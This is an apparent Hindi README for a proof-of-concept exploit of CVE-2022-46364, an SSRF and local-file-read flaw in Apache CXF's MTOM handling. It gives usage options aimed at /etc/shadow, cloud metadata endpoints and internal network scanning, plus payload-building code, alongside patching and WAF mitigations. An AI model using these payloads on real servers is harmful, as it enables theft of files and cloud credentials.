
यह भेद्यता एक हमलावर को Apache CXF वेबसेवाओं पर SSRF (सर्वर-साइड रिक्वेस्ट फोर्जरी) हमले करने की अनुमति देती है जो MTOM/XOP अनुरोधों को स्वीकार करती हैं। समस्या xop:Include के href विशेषता को पार्स करने के तरीके में मौजूद है, जिससे सर्वर द्वारा मनमाने URL का अनुरोध किया जा सकता है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है
यह प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है ताकि सुरक्षा पेशेवर इस भेद्यता को समझ सकें और अपने सिस्टम की सुरक्षा कर सकें। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है। परीक्षण से पहले आपको सिस्टम स्वामी से स्पष्ट लिखित अनुमति प्राप्त करनी होगी। इस टूल का उपयोग करके, आप सभी लागू कानूनों का पालन करने के लिए सहमत होते हैं।
| विशेषता | मान |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| भेद्यता प्रकार | सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) → लोकल फाइल इन्क्लूज़न (LFI) |
| प्रभावित सॉफ़्टवेयर | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| गंभीरता | क्रिटिकल |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| आक्रमण वेक्टर | नेटवर्क |
| प्रमाणीकरण | कोई आवश्यक नहीं |
| पैच संस्करण | Apache CXF 3.5.5+, 3.4.10+ |
यह एक्सप्लॉइट Apache CXF के MTOM (मैसेज ट्रांसमिशन ऑप्टिमाइज़ेशन मैकेनिज़्म) कार्यान्वयन में एक गंभीर SSRF भेद्यता का लाभ उठाकर लोकल फाइल इन्क्लूज़न (LFI) और आंतरिक नेटवर्क स्कैनिंग क्षमताएँ प्राप्त करता है।
Apache CXF, MTOM-एन्कोडेड SOAP संदेशों को संसाधित करते समय xop:Include तत्वों के भीतर href विशेषता को गलत तरीके से सत्यापित करता है। लाइब्रेरी URI को डीरेफ़रेंस करने के लिए Java के URLConnection का उपयोग करती है, बिना उचित प्रोटोकॉल प्रतिबंधों के, जिससे हमलावर निम्नलिखित निर्दिष्ट कर सकते हैं:
file:// - स्थानीय फ़ाइलें पढ़ना (LFI)http:// / https:// - आंतरिक नेटवर्क अनुरोध (SSRF)ftp:// - FTP अनुरोध (आगे शोषण की संभावना)यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:
कोई भी Apache CXF तैनाती जो:
MTOM (मैसेज ट्रांसमिशन ऑप्टिमाइज़ेशन मैकेनिज़्म) SOAP संदेशों में बाइनरी डेटा ट्रांसमिशन को अनुकूलित करने के लिए एक W3C मानक है। यह बाइनरी डेटा संदर्भों को शामिल करने के लिए XOP (XML-बाइनरी ऑप्टिमाइज़्ड पैकेजिंग) का उपयोग करता है:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
सामान्यतः, href में MIME भाग के लिए एक CID (कंटेंट-आईडी) संदर्भ होता है। हालाँकि, Apache CXF की AttachmentUtil क्लास href मानों को बिना उचित सैनिटाइज़ेशन के सामान्य URI के रूप में संसाधित करती है।
अनुरोध पार्सिंग:
Content-Type: application/xop+xml के साथ एक multipart/related HTTP अनुरोध प्राप्त करता हैAttachmentUtil.getAttachmentObject() xop:Include तत्वों को संसाधित करता हैURI डीरेफ़रेंसिंग:
new URL(href).openStream() को कॉल करती हैfile:// प्रोटोकॉल अवरोधन नहीं होताप्रतिक्रिया एम्बेडिंग:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
file:// प्रोटोकॉल उसी कोड पथ का अनुसरण करता है:
file:///etc/passwd → Java /etc/passwd को एक फ़ाइल स्ट्रीम के रूप में खोलता हैIP और पोर्ट के माध्यम से पुनरावृत्ति करके, हमलावर यह कर सकते हैं:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| तर्क | विवरण | उदाहरण |
|---|---|---|
-t, --target | आवश्यक। लक्षित Apache CXF सेवा का आधार URL | http://10.10.10.50:8080 |
-e, --endpoint | वैकल्पिक। SOAP एंडपॉइंट पथ | /services/UserManagement |
-u, --url | SSRF के माध्यम से प्राप्त करने के लिए HTTP/HTTPS URL | http://169.254.169.254/latest/user-data |
-f, --file | LFI के माध्यम से पढ़ने के लिए स्थानीय फ़ाइल पथ | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### मुख्य कार्यान्वयन विवरण
#### 1. MTOM पेलोड निर्माण
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
पैच किए गए संस्करण में अपग्रेड करें:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
MTOM को पूरी तरह अक्षम करें (यदि आवश्यक नहीं है):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
नेटवर्क-स्तरीय नियंत्रण:
वेब एप्लिकेशन फ़ायरवॉल (WAF) नियम:
href के साथ xop:Include वाले अनुरोधों को ब्लॉक करें जो file:// या आंतरिक IP पते की ओर इशारा करते हैंयह भेद्यता निम्नलिखित द्वारा खोजी गई और जिम्मेदारी से प्रकट की गई:
यह टूल केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। अनधिकृत उपयोग निषिद्ध है।
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
अंतिम अद्यतन: मार्च 2026
संस्करण: 1.0
संपर्क: सुरक्षा चिंताओं या प्रश्नों के लिए, कृपया GitHub पर एक issue खोलें।
यह दस्तावेज़ जिम्मेदार सुरक्षा अनुसंधान का हिस्सा है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।